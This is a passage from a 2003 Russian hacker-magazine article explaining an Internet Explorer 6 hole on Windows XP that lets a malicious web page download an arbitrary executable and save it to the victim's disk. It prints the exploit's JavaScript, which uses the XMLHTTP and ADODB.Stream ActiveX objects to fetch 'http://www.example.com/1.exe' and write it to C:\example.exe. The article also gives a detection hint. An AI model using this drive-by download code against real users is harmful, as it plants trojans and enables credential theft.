Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #58, ОКТЯБРЬ 2003 г.

Ослик IE: залей через меня троян

CuTTer (cutter@real.xakep.ru)

Xakep, номер #058, стр. 058-056-1


Веселая уязвимость в Internet Explorer

Представь себе такую ситуацию. Ты являешься пользователем операционной системы Windows XP, заботишься о своей безопасности, постоянно ставишь патчи, проверяешь весь софт на наличие троянов/вирусов. В общем, всячески ограждаешь себя от сетевых подонков, желающих поломать в интернете все и вся. Но вдруг, посетив на днях один сайт, обнаруживаешь, что компьютер начинает слать левые пакеты с твоими паролями, хотя ты и не скачивал ничего нового. Очень занимательная ситуация :). И это не шутка, с любовью и лаской от мелкомягких ты действительно можешь оказаться в таком положении.

Microsoft с подарочком за пазухой

Microsoft все никак не перестанет радовать своих пользователей обилием ошибок в выпускаемом софте. На этот раз приятный сюрприз скрывается в Internet Explorer 6 (www.securitylab.ru/?ID=40246). Взломщик может создать подставной сервер, залить туда html-страничку со встроенным в нее эксплоитом и подозвать пользователей с ослом шестой версии. И если это окажется юзер Windows XP с разрешенным использованием ActiveX элементов, то он будет взломан.

Как это происходит? Все очень просто. Задействованы два компонента. Когда пользователь заходит на подобный сайт-ловушку, у него вызывается сценарий на javascript. Вначале при помощи компонента Microsoft.XMLHTTP происходит скачивание произвольного файла из Сети. Далее создается поток, который будет направлен в локальный файл жертвы. Для этого используется компонент ADODB.Stream. Файл сохраняется. Теперь взломанный пользователь держит на своем харде новый файл. Сам понимаешь, что так можно перезаписать любой файл и запихнуть в него троян.

Подобный взлом можно просечь - во время загрузки файла в IE появляется панель с медиаплеером. Правда, никаких других программ дополнительно не вызывается. Поэтому жертва может просто не заметить подобного поведения осла и проигнорировать происшедшее. Так что будь бдительным. Если увидишь с бухты-барахты появившуюся панель медиаплеера - знай, тебя уже, скорее всего, поломали.

Что же это за сплоит?

Эксплоит совсем небольшой и довольно примитивный. НО КАКОВ РЕЗУЛЬТАТ! Видимо, хакер, нашедший ошибку, не поленился, покопался в функциях ActiveX элементов, которые идут в стандартном наборе с Windows XP, нашел в них процедуры по скачке и записи файлов и в итоге написал эксплоит. И вот что получилось:

<textarea id="code" style="display:none;">

var x = new ActiveXObject("Microsoft.XMLHTTP");

// Создаем объект на основе Microsoft.XMLHTTP

x.Open("GET", "http://www.example.com/1.exe", 0);

x.Send();

// Генерим и отправляем GET-запрос

var s = new ActiveXObject("ADODB.Stream");

// Создаем второй объект - ADODB.Stream

s.Mode = 3;

s.Type = 1;

s.Open();

// Выставляем моды

s.Write(x.responseBody);

// Записываем в поток ответ на GET-запрос

s.SaveToFile("C:\\example.exe", 2);

// Сохраняем это в файл

</textarea>

<script language="javascript">

function preparecode(code) {

result = '';

lines = code.split(/\r\n/);

for (i=0; i<lines.length; i++) {

line = lines[i];

line = line.replace(/^\s+/,"");

Содержание  Вперед на стр. 058-056-2